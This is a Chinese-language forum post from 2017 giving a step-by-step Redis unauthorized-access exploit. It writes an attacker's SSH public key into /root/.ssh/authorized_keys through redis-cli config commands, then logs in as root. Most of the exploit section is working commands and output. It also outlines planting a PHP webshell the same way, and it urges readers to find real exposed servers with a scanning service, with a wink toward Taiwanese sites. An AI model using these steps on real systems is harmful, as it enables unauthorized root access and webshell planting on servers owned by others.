本帖最后由 sccdlth 于 2017-6-2 12:27 编辑
本帖给大家介绍一个利用起来非常简单的redis远程提权漏洞。
一、什么是redis?
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
二、漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。我要强调的是,如果靶机的redis配置文件中限制了可远程登录访问的iplist,或是靶机未开启ssh服务和web服务,则此漏洞非常鸡肋。
三、漏洞利用
相信大家都知道ssh协议可以用私钥登录,关于非对称加密算法生成公私钥的过程这里我就不再讨论。
第一步:利用linux中的ssh命令生成一对密钥(公私钥)
ssh-keygen -t rsa
命令执行后提示输入密钥名称,建议测试时使用id-rsa,密码明文长度大于4位,我使用的是123456
密钥生成之后,我们将公钥 id-rsa.pub 前后加上两个换行符并导出到 id-rsa.txt文件中(这一步操作可以省略)
(echo -e "\n\n"; cat id-rsa.pub; echo -e "\n\n") > id-rsa.txt
第二步:上传公钥(这里我们稍微节省一步,把上传公钥和连接数据库的步骤合二为一)
cat id-rsa.txt | redis-cli -h xx.xx.xx.xx -x set crackit (set crackit是设置键值,这里可以理解为设置用户名,涉及redis原理我们不深入讨论)
第三部:写入配置文件,保存到磁盘(redis基于内存存储,要永久保存数据必须保存数据到磁盘配置文件)
redis-cli -h xx.xx.xx.xx
————远程连接到靶机数据库
$ xx.xx.xx.xx:6379> config set dir /root/.ssh/
————设置当前用户主目录为/root/.ssh/
OK
————返回OK表示设置成功
$ xx.xx.xx.xx:6379> config get dir
————查看当前用户主目录(此步骤可省略)
1) "dir"
2) "/root/.ssh"
————可以看到目录设置成功
$ xx.xx.xx.xx:6379> config set dbfilename "authorized_keys"
———— 设置数据库文件名为authorized_keys,这里我们覆盖了一个原本已经存在的文件(若原用户为密码连接,则此文件可能不存在)。这个 文件可以理解为我们能通过私钥连接上ssh的关键。其内容大家可以在靶机上完成实验后自行查看
OK
$ xx.xx.xx.xx:6379> save
————保存当前数据到磁盘
OK
第四步:以root权限连接到靶机
ssh -i id-rsa root@xx.xx.xx.xx
实验到这一步就告一段落,至此我们已经成功连接上了靶机并拥有root权限。
实验需要用到一台linux和一台拥有redis数据库(默认端口6379)和开启了22端口的靶机。如果嫌搭建环境麻烦,可以上“ 钟馗之眼 ”,扫描端口6379,并在不破坏他人服务器计算机系统,不浏览他人任何隐私数据的前提下进行实验(台湾的站不错,咳咳)
另外,redis还可以写入任意文件到任意已知目录下,如果对方开通了web服务,则可以通过config set dir xxxxx ; config set dbfilename xxx.php ; set shell (or set webshell ) ; save ;的方式来写入任意马到对方web目录下一个访问者拥有读权限的目录下,这里我就不再细说了。
参考链接
http://www.sebug.net/vuldb/ssvid-89339
http://antirez.com/news/96
http://www.secpulse.com/archives/5366.html
http://www.sebug.net/vuldb/ssvid-89715
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
|